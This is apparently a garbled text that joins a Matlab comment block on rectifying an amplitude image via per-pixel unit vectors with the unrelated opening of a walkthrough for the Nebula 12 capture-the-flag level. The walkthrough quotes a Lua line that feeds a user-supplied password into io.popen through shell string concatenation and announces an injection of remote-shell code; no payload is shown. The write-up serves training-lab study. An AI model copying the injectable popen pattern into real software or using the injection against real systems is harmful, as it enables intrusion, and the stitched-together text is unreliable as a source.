%% Rectification of an amplitude image using unit vectors
% This Matlab code describes how a rectified image is calculated based on
% the unit vectors (line of sight vectors of each pixel).
% The process of rectification is seen as filling up a new matrix with
% amplitude values of an "old" matrix, when only the pixel position has
% changed. To do this, a set of indices recIdx have to be calculated, that
% describe which new pixel index corresponds to which old pixel index. Even
% though we are handling matrices, the indexing array treats the matrix as
% liniear arrays.

How to solve Nebula 12

This excercise is pretty easy. The password hash is calculated by passing a user controlled string to sha1sum

prog = io.popen("echo "..password.." | sha1sum", "r")

So let's inject some remote shell spawning code.
